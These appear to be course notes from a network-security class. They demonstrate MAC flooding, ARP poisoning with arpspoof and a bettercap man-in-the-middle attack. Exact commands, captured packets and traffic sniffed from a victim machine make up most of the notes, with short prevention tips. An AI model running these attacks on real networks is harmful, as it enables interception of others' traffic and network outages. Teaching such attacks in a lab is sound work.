ae:6a:ff:65:c4:8b 7b:78:2a:2a:f3:a3 0.0.0.0.49064 > 0.0.0.0.11054: S 402732549:402732549(0) win 512
d3:2:4b:44:28:8c 53:c0:83:22:a9 0.0.0.0.59521 > 0.0.0.0.21633: S 937036417:937036417(0) win 512
f3:37:8:61:9f:d 17:a6:16:54:dd:c5 0.0.0.0.14864 > 0.0.0.0.4391: S 373504940:373504940(0) win 512
f9:69:d3:7c:9d:22 a:d1:46:6f:72:9 0.0.0.0.49197 > 0.0.0.0.1594: S 479476528:479476528(0) win 512
97:8:63:3d:e2:9e 8c:cb:d0:4e:4d:85 0.0.0.0.54999 > 0.0.0.0.12423: S 1824737022:1824737022(0) win 512
18:5c:ba:48:bc:cc 78:64:59:42:0:1f 0.0.0.0.32990 > 0.0.0.0.52393: S 237045010:237045010(0) win 512
61:7b:d5:5:ff:7f 13:a:58:6b:87:c1 0.0.0.0.60956 > 0.0.0.0.50079: S 1117192095:1117192095(0) win 512
8:65:cc:6c:30:88 5:2b:be:39:31:6c 0.0.0.0.19313 > 0.0.0.0.58453: S 773435190:773435190(0) win 512
26:9b:62:62:22:82 8d:ed:61:5e:5a:24 0.0.0.0.9831 > 0.0.0.0.41473: S 867596157:867596157(0) win 512
42:99:8:c:5b:6a:2c d7:82:c3:30:39:ea 0.0.0.0.9782 > 0.0.0.0.23566: S 1712624792:1712624792(0) win 512
1e:de:d1:43:81:4c f6:d6:a6:19:b3:86 0.0.0.0.45947 > 0.0.0.0.33827: S 393661178:393661178(0) win 512
6e:c0:e7:42:f9:df 7b:56:73:3c:44:c 0.0.0.0.44494 > 0.0.0.0.43706: S 1016043907:1016043907(0) win 512
43:88:12:5c:e1:4a a7:d4:4:3c:f0:17 0.0.0.0.20221 > 0.0.0.0.56145: S 1247806731:1247806731(0) win 512
fb:73:c3:4f:5a:f1 aa:6d:81:28:5b:b4 0.0.0.0.45686 > 0.0.0.0.43914: S 1766910385:1766910385(0) win 512
70:d3:e6:68:57:d6 22:70:be:4:45:4f 0.0.0.0.855 > 0.0.0.0.54123: S 1503087192:1503087192(0) win 512
30:a4:3d:8:45:8 2c:5a:1e:4a:d9:b1 0.0.0.0.42294 > 0.0.0.0.61233: S 1597363587:1597363587(0) win 512
2f:31:ac:7:77:78 fc:74:1:71:6:cf 0.0.0.0.40421 > 0.0.0.0.57160: S 537586060:537586060(0) win 512
79:dd:b6:16:ed:c5 88:ca:b6:7c:10:69 0.0.0.0.25156 > 0.0.0.0.39049: S 15360782986:15360782986(0) win 512
32:9c:c0:55:b5:ec 6e:40:a:4e:3e:16 0.0.0.0.28580 > 0.0.0.0.50117: S 1117117257:1117117257(0) win 512
ab:20:bd:17:bb:56 a7:45:2d:57:65:9e 0.0.0.0.64625 > 0.0.0.0.17319: S 2070064525:2070064525(0) win 512
73:2:1b:32:1f:9d 79:9d:7e:2e:cd:fb 0.0.0.0.26794 > 0.0.0.0.26741: S 8976684:8976684(0) win 512
f0:69:b8:4:a7:eb e4:5d:c4:37:21:fd 0.0.0.0.11215 > 0.0.0.0.61834: S 154136270:154136270(0) win 512
8d:ae:5a:67:66:30 45:b0:24:70:bd:32 0.0.0.0.64611 > 0.0.0.0.52029: S 1278295458:1278295458(0) win 512
8d:7c:ba:54:61:be df:6:95:3b:3f:1d 0.0.0.0.65129 > 0.0.0.0.8922: S 1434180510:1434180510(0) win 512
5b:d1:71:7a:c2:9f f1:2c:d6:36:75:61 0.0.0.0.38317 > 0.0.0.0.51379: S 1814391570:1814391570(0) win 512
3c:5c:26:3c:20:6d 7d:8d:95:30:cc:32 0.0.0.0.30967 > 0.0.0.0.7233: S 158256814:158256814(0) win 512
f9:57:9c:69:64:a9 d0:e5:5c:5b:a:84 0.0.0.0.19631 > 0.0.0.0.17678: S 782495634:782495634(0) win 512
3a:9b:f2:21:2:ea 86:5f:5:3e:f4:20 0.0.0.0.34465 > 0.0.0.0.57638: S 2067793982:2067793982(0) win 512
66:fd:6c:71:86:95 8c:5:6d:45:e6:ac 0.0.0.0.14790 > 0.0.0.0.16714: S 395702146:395702146(0) win 512
74:7e:a1:45:ad:48 6c:d7:db:63:42:85 0.0.0.0.32926 > 0.0.0.0.6503: S 111427669:111427669(0) win 512
a6:fe:89:18:27:14 a5:7:33:1:bc:b4 0.0.0.0.61228 > 0.0.0.0.11196: S 1044608821:1044608821(0) win 512
82:10:14:79:4b:a4 a5:19:32:6e:8f:54 0.0.0.0.16230 > 0.0.0.0.2808: S 779379455:779379455(0) win 512
32:49:a9:53:89:55 6d:60:be:2e:23:58 0.0.0.0.55822 > 0.0.0.0.56170: S 165342064:165342064(0) win 512
95:e3:aa:16:7c:c 31:79:fe:2b:18:3 0.0.0.0.22378 > 0.0.0.0.12389: S 881148290:881148290(0) win 512
6a:ab:4b:77:9d:7f dd:ce:50:62:8d:2a 0.0.0.0.31414 > 0.0.0.0.37778: S 33196894:33196894(0) win 512
74:aa:9c:2f:34:2a 8c:93:eb:4d:3d:69 0.0.0.0.17697 > 0.0.0.0.23654: S 562919004:562919004(0) win 512
1b:f0:53:d:29:92 2b:e7:bc:5f:9e:a2 0.0.0.0.60648 > 0.0.0.0.27820: S 321987924:321987924(0) win 512
7b:82:13:77:3a:db be:19:cf:48:bc:aa 0.0.0.0.11549 > 0.0.0.0.126: S 922358611:922358611(0) win 512
77:97:31:75:5f:24 a4:7f:6:65:5c:6e 0.0.0.0.10971 > 0.0.0.0.21181: S 2082195277:2082195277(0) win 512
62:d7:c6:35:d7:c0 c:d5:e2:7f:11:d4 0.0.0.0.23602 > 0.0.0.0.53342: S 342639217:342639217(0) win 512
a7:6a:a8:14:6b:d0 1a:e6:e2:b:dc:05 0.0.0.0.10607 > 0.0.0.0.4308: S 380635860:380635860(0) win 512

```

Wireshark mac spoof

No.	Time	Source	Destination	Protocol	Length	Info
9770	3761.1436134...	45.157.77.121	4.191.1.68	IPv4	54	
9771	3761.1436146...	172.71.251.66	253.5.20.7	IPv4	54	
9772	3761.1436158...	176.20.129.59	218.3.236.95	IPv4	54	
9773	3761.1436173...	242.133.82.80	184.144.246.89	IPv4	54	
9774	3761.1436301...	32.207.86.101	252.250.185.23	IPv4	54	
9775	3761.1436473...	80.33.251.13	157.55.130.104	IPv4	54	
9776	3761.1436696...	37.236.181.92	203.178.233.103	IPv4	54	
9777	3761.1436906...	30.35.33.47	88.251.143.120	IPv4	54	
9778	3761.1437091...	176.161.140.89	37.208.112.104	IPv4	54	
9779	3761.1509983...	228.163.61.47	25.74.160.13	IPv4	54	
9780	3761.1510185...	133.148.2.62	98.163.236.63	IPv4	54	
9781	3761.1510199...	76.209.224.65	1.248.76.127	IPv4	54	
9782	3761.1510216...	46.68.91.98	161.48.98.36	IPv4	54	
9783	3761.1510231...	160.33.1.106	6.102.79.49	IPv4	54	
9784	3761.1510242...	183.41.171.60	179.156.166.60	IPv4	54	
9785	3761.1510260...	56.152.108.49	105.201.184.3	IPv4	54	
9786	3761.1510274...	145.78.87.67	108.174.182.69	IPv4	54	
9787	3761.1510285...	65.215.155.115	170.22.115.14	IPv4	54	
9788	3761.1510295...	68.152.21.27	247.85.150.88	IPv4	54	

This can cause huge damage on the network, it is fixed by rebooting the router. DONT try it on your network



Prevention



1. **Port Security** – Limits the no of MAC addresses connecting to a single port on the Switch. `switch port-security maximum 5`
2. **MAC Filtering** – Limits the no of MAC addresses to a certain extent.



ARP Spoof

- ARP translates Internet Protocol (IP) addresses to a Media Access Control (MAC) address
- Most commonly, devices use ARP to contact the router or gateway that enables them to connect to the Internet.
- An ARP spoofing, also known as ARP poisoning, is a Man in the Middle (MitM) attack that allows attackers to intercept communication between network devices. The attack works as follows:
 - a. The attacker must have access to the network. They scan the network to determine the IP addresses of at least two devices—let's say these are a workstation and a router.
 - b. The attacker uses a spoofing tool, to send out fake ARP responses.
 - c. The fake responses advertise that the correct MAC address for both IP addresses, belonging to the router and workstation, is the attacker's MAC address. This fools both router and workstation to connect to the attacker's machine, instead of to each other.
 - d. The two devices update their ARP cache entries and from that point onwards, communicate with the attacker instead of directly with each other.
 - e. The attacker is now secretly in the middle of all communications

ARP poisoning



demo

- 1) We will get the mac of our gateway
 - 2) We will get our linux machine mac
 - a) `arp -g`
 - 3) Enable ip forward
 - a) `sudo sysctl net.ipv4.ip_forward=1`
 - 4) Start the spoofing with arpspoof tool
 - a) `Arpspoof -i interface -t target -r defaultgatewayip`
- NOTE:
 - ip of attacker: 192.168.1.8
 - Ip of victim: 192.168.1.3
 - gateway : 192.168.1.1

```
PS C:\Users\Nathan Hailu> arp -g
```

```
Interface: 192.168.1.3 --- 0x24
Internet Address      Physical Address      Type
192.168.1.1          44-c8-74-76-e0-58    dynamic
192.168.1.255        ff-ff-ff-ff-ff-ff    static
224.0.0.2            01-00-5e-00-00-02    static
224.0.0.22           01-00-5e-00-00-16    static
224.0.0.251          01-00-5e-00-00-fb    static
224.0.0.252          01-00-5e-00-00-fc    static
239.255.255.250      01-00-5e-7f-ff-fa    static
255.255.255.255      ff-ff-ff-ff-ff-ff    static
```

```
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.8 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::f55a:3000:6bf5:ee5b prefixlen 64 scopeid 0x20<link>
ether 06:0c:01:00:8c:6d txqueuelen 1000 (Ethernet)
RX packets 194591 bytes 256822429 (244.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 133236 bytes 12713688 (12.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
(nathan@Nathan)-[~]
$
```

```
(nathan@Nathan)-[~/rex]
$ sudo sysctl net.ipv4.ip_forward=1
[sudo] password for nathan:
net.ipv4.ip_forward = 1
```


Internet Address	Physical Address	Type
192.168.1.1	06-0c-01-00-8c-6d	dynamic
192.168.1.8	06-0c-01-00-8c-6d	dynamic
192.168.1.255	ff-ff-ff-ff-ff-ff	static
224.0.0.2	01-00-5e-00-00-02	static
224.0.0.22	01-00-5e-00-00-16	static
224.0.0.251	01-00-5e-00-00-fb	static
224.0.0.252	01-00-5e-00-00-fc	static
239.255.255.250	01-00-5e-7f-ff-fa	static

```
└─$ sudo arpspoof -i wlan0 -t 192.168.1.3 -r 192.168.1.1
```

```
[sudo] password for nathan:
```

```
6:c:1:0:8c:6d 18:cc:18:3b:bc:35 0806 42: arp reply 192.168.1.1 is-at 6:c:1:0:8c:6d  
6:c:1:0:8c:6d 44:c8:74:76:e0:58 0806 42: arp reply 192.168.1.3 is-at 6:c:1:0:8c:6d  
6:c:1:0:8c:6d 18:cc:18:3b:bc:35 0806 42: arp reply 192.168.1.1 is-at 6:c:1:0:8c:6d  
6:c:1:0:8c:6d 44:c8:74:76:e0:58 0806 42: arp reply 192.168.1.3 is-at 6:c:1:0:8c:6d  
6:c:1:0:8c:6d 18:cc:18:3b:bc:35 0806 42: arp reply 192.168.1.1 is-at 6:c:1:0:8c:6d  
6:c:1:0:8c:6d 44:c8:74:76:e0:58 0806 42: arp reply 192.168.1.3 is-at 6:c:1:0:8c:6d  
6:c:1:0:8c:6d 18:cc:18:3b:bc:35 0806 42: arp reply 192.168.1.1 is-at 6:c:1:0:8c:6d  
6:c:1:0:8c:6d 44:c8:74:76:e0:58 0806 42: arp reply 192.168.1.3 is-at 6:c:1:0:8c:6d  
6:c:1:0:8c:6d 18:cc:18:3b:bc:35 0806 42: arp reply 192.168.1.1 is-at 6:  
6:c:1:0:8c:6d 44:c8:74:76:e0:58 0806 42: arp reply 192.168.1.3 is-at 6:  
6:c:1:0:8c:6d 18:cc:18:3b:bc:35 0806 42: arp reply 192.168.1.1 is-at 6:  
6:c:1:0:8c:6d 44:c8:74:76:e0:58 0806 42: arp reply 192.168.1.3 is-at 6:  
6:c:1:0:8c:6d 18:cc:18:3b:bc:35 0806 42: arp reply 192.168.1.1 is-at 6:  
6:c:1:0:8c:6d 44:c8:74:76:e0:58 0806 42: arp reply 192.168.1.3 is-at 6:  
6:c:1:0:8c:6d 18:cc:18:3b:bc:35 0806 42: arp reply 192.168.1.1 is-at 6:  
6:c:1:0:8c:6d 44:c8:74:76:e0:58 0806 42: arp reply 192.168.1.3 is-at 6:  
6:c:1:0:8c:6d 18:cc:18:3b:bc:35 0806 42: arp reply 192.168.1.1 is-a  
6:c:1:0:8c:6d 44:c8:74:76:e0:58 0806 42: arp reply 192.168.1.3 is-a  
6:c:1:0:8c:6d 18:cc:18:3b:bc:35 0806 42: arp reply 192.168.1.1 is-a  
6:c:1:0:8c:6d 44:c8:74:76:e0:58 0806 42: arp reply 192.168.1.3 is-a
```

117.557404669	192.168.1.1	192.168.1.3	ICMP	
118.573898118	192.168.1.1	192.168.1.8	ICMP	
118.573926504	192.168.1.8	192.168.1.1	ICMP	
121.554918625	192.168.1.3	192.168.1.1	ICMP	
123.712556320	192.168.1.1	192.168.1.3	ICMP	
126.349960417	192.168.1.3	192.168.1.1	ICMP	
126.765089632	192.168.1.1	192.168.1.8	ICMP	
6282 164.062073196	196.189.186.25	192.168.1.3	TCP	1514 [T
6283 164.062075916	196.189.186.25	192.168.1.3	TCP	1514 [T
6284 164.062079931	196.189.186.25	192.168.1.3	TCP	1514 44
6285 164.062082730	196.189.186.25	192.168.1.3	TCP	1514 [T
6286 164.062085660	196.189.186.25	192.168.1.3	TCP	1514 44
6287 164.062088724	196.189.186.25	192.168.1.3	TCP	1514 [T
6288 164.062092687	196.189.186.25	192.168.1.3	TCP	1514 [T
6289 164.062095741	196.189.186.25	192.168.1.3	TCP	1514 [T
6290 164.062099081	196.189.186.25	192.168.1.3	TCP	1514 [T
6291 164.062101667	196.189.186.25	192.168.1.3	TCP	1514 [T
6292 164.062104370	196.189.186.25	192.168.1.3	TCP	1514 [T

GTST - GeezTech Security Tester®

by Nathan Hailu

Demo in advance

- 1) Install bettercap
- 2) Start bettercap
- 3) Scan the network
 - a) net.probe on
 - b) net.show => to see the network
- 4) Start arp spoofing
 - a) set arp.spoof.targets <ip>
 - b) arp.spoof on
- 5) Start Mitm
 - a) net.sniff on
 - b) net.sniff off

```
(nathan@Nathan)-[~]
$ sudo apt install bettercap
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  binutils binutils-common binutils-x86-64-linux-gnu firefox-esr gcc-12-l
  libbinutils libc-bin libc-dev-bin libc-l10n libc6 libc6-dev libc6-i386
  libctf-nobfd0 libctf0 libffi8 libgprofng0 libjansson4 libnspr4 libnss3
  libstdc++6 libvpx7 libx11-6 libx11-xcb1 locales rncsvc-proto
```

```
(nathan@Nathan)-[~]
$ sudo bettercap -iface wlan0
bettercap v2.32.0 (built for linux amd64 with go1.19.4) [type 'help' for a list of commands]

192.168.1.0/24 > 192.168.1.8 » [08:50:05] [sys.log] [inf] gateway monitor started ...
192.168.1.0/24 > 192.168.1.8 »
```

```
192.168.1.0/24 > 192.168.1.8 » net.probe on
192.168.1.0/24 > 192.168.1.8 » [08:50:42] [sys.log] [inf] net.probe starting net.recon as a requirement for net.probe
192.168.1.0/24 > 192.168.1.8 » [08:50:42] [sys.log] [inf] net.probe probing 256 addresses on 192.168.1.0/24
192.168.1.0/24 > 192.168.1.8 » [08:50:43] [endpoint.new] endpoint 192.168.1.4 detected as 92:bd:13:56:03:30.
192.168.1.0/24 > 192.168.1.8 » [08:50:43] [endpoint.new] endpoint 192.168.1.2 detected as a8:7c:01:dc:7e:5a (Samsung Electronics Co.,Ltd).
192.168.1.0/24 > 192.168.1.8 » [08:50:43] [endpoint.new] endpoint 192.168.1.3 (HUNTERMACHINE) detected as 18:cc:18:3b:bc:35 (Intel Corporate).
192.168.1.0/24 > 192.168.1.8 »
```


...

192.168.1.0/24 > 192.168.1.8 » net.show

IP ▲	MAC	Name	Vendor	Sent	Recvd	Seen
192.168.1.8	06:0c:01:00:8c:6d	wlan0		0 B	0 B	08:50:05
192.168.1.1	44:c8:74:76:e0:58	gateway	China Mobile Group Device Co.,Ltd.	78 kB	21 kB	08:50:05
192.168.1.2	a8:7c:01:dc:7e:5a		Samsung Electronics Co.,Ltd	1.1 kB	828 B	08:51:46
192.168.1.3	18:cc:18:3b:bc:35	HUNTERMACHINE	Intel Corporate	3.2 kB	2.9 kB	08:51:46
192.168.1.4	92:bd:13:56:03:30			1.1 kB	828 B	08:51:46

192.168.1.0/24 > 192.168.1.8 » set arp.spoof.targets 192.168.1.3

192.168.1.0/24 > 192.168.1.8 » arp.spoof on

[08:54:47] [sys.log] [inf] arp.spoof enabling forwarding

192.168.1.0/24 > 192.168.1.8 » [08:54:47] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets.

192.168.1.0/24 > 192.168.1.8 »


```

192.168.1.0/24 > 192.168.1.8 » net.sniff on
192.168.1.0/24 > 192.168.1.8 » [08:55:54] [net.sniff.mdns] mdns HUNTERMACHINE : HunterMachine.local is fe80::56f9:9f42:ea67:fdd4, 192.168.1.3
192.168.1.0/24 > 192.168.1.8 » [08:55:54] [net.sniff.mdns] mdns HUNTERMACHINE : Unknown query for HunterMachine.local
192.168.1.0/24 > 192.168.1.8 » [08:55:54] [net.sniff.mdns] mdns HUNTERMACHINE : HunterMachine.local is fe80::56f9:9f42:ea67:fdd4, 192.168.1.3
192.168.1.0/24 > 192.168.1.8 » [08:55:54] [net.sniff.mdns] mdns HUNTERMACHINE : Unknown query for HunterMachine.local
192.168.1.0/24 > 192.168.1.8 » [08:55:55] [net.sniff.https] sni HUNTERMACHINE > https://signaler-pa.clients6.google.com
192.168.1.0/24 > 192.168.1.8 » [08:55:55] [net.sniff.https] sni HUNTERMACHINE > https://signaler-pa.clients6.google.com
192.168.1.0/24 > 192.168.1.8 » [08:55:55] [net.sniff.http.request] http HUNTERMACHINE POST 149.154.167.91:80/api

```

```

POST /api HTTP/1.1
Host: 149.154.167.91:80
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

```

```

192.168.1.0/24 > 192.168.1.8 » [08:55:55] [net.sniff.http.request] http HUNTERMACHINE POST 149.154.167.91:80/api

```

```

POST /api HTTP/1.1
Host: 149.154.167.91:80
Content-Length: 140
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded

```

```

192.168.1.0/24 > 192.168.1.8 » [08:55:55] [net.sniff.http.request] http HUNTERMACHINE POST 149.154.167.91:80/api

```

```

POST /api HTTP/1.1
Host: 149.154.167.91:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Connection: Keep-Alive
Accept-Encoding: gzip, deflate

```

```

tps] sni HUNTERMACHINE > https://signaler-pa.clients6.google.com
tps] sni HUNTERMACHINE > https://signaler-pa.clients6.google.com
ns] mdns HUNTERMACHINE : AAAA query for wpad.local
tps] sni HUNTERMACHINE > https://dcl1-st.ksn.kaspersky-labs.com
tps] sni HUNTERMACHINE > https://dcl1-st.ksn.kaspersky-labs.com
ns] mdns HUNTERMACHINE : HunterMachine.local is fe80::56f9:9f42:ea67:fdd4, 192.168.1.3
ns] mdns HUNTERMACHINE : Unknown query for HunterMachine.local
ns] mdns HUNTERMACHINE : Unknown query for HunterMachine.local
ns] mdns HUNTERMACHINE : HunterMachine.local is fe80::56f9:9f42:ea67:fdd4, 192.168.1.3
ns] mdns HUNTERMACHINE : AAAA query for wpad.local
ns] mdns HUNTERMACHINE : PTR query for _googlecast._tcp.local
ns] mdns HUNTERMACHINE : PTR query for _googlecast._tcp.local
tps] sni HUNTERMACHINE > https://www.instagram.com
tps] sni HUNTERMACHINE > https://www.instagram.com
tps] sni HUNTERMACHINE > https://www.amazon.com
tps] sni HUNTERMACHINE > https://www.amazon.com
ns] mdns HUNTERMACHINE : PTR query for _googlecast._tcp.local
ns] mdns HUNTERMACHINE : PTR query for _googlecast._tcp.local
tps] sni HUNTERMACHINE > https://msgstore.www.notion.so
tps] sni HUNTERMACHINE > https://msgstore.www.notion.so
tps] sni HUNTERMACHINE > https://www.amazon.com
tps] sni HUNTERMACHINE > https://www.amazon.com
ns] mdns HUNTERMACHINE : Unknown query for HunterMachine.local
ns] mdns HUNTERMACHINE : Unknown query for HunterMachine.local
ns] mdns HUNTERMACHINE : HunterMachine.local is fe80::56f9:9f42:ea67:fdd4, 192.168.1.3
ns] mdns HUNTERMACHINE : Unknown query for HunterMachine.local
ns] mdns HUNTERMACHINE : Unknown query for HunterMachine.local
ns] mdns HUNTERMACHINE : HunterMachine.local is fe80::56f9:9f42:ea67:fdd4, 192.168.1.3
ns] mdns HUNTERMACHINE : Unknown query for HunterMachine.local
ns] mdns HUNTERMACHINE : Unknown query for HunterMachine.local
ns] mdns HUNTERMACHINE : HunterMachine.local is fe80::56f9:9f42:ea67:fdd4, 192.168.1.3
tps] sni HUNTERMACHINE > https://api.protonvpn.ch
tps] sni HUNTERMACHINE > https://mtalk.google.com:5228
tps] sni HUNTERMACHINE > https://mtalk.google.com:5228
tps] sni HUNTERMACHINE > https://api.protonvpn.ch

```



Prevention

1. Using static ARP tables: manually setted
2. Switch security: some feature for ARP poisoning
3. Encryption: not for arp but in case of leaks



Exercise 2

1. Write a program that accepts input then shows all of the routes
 - Use os package



Class is over

- 1) Do notes
- 2) Read them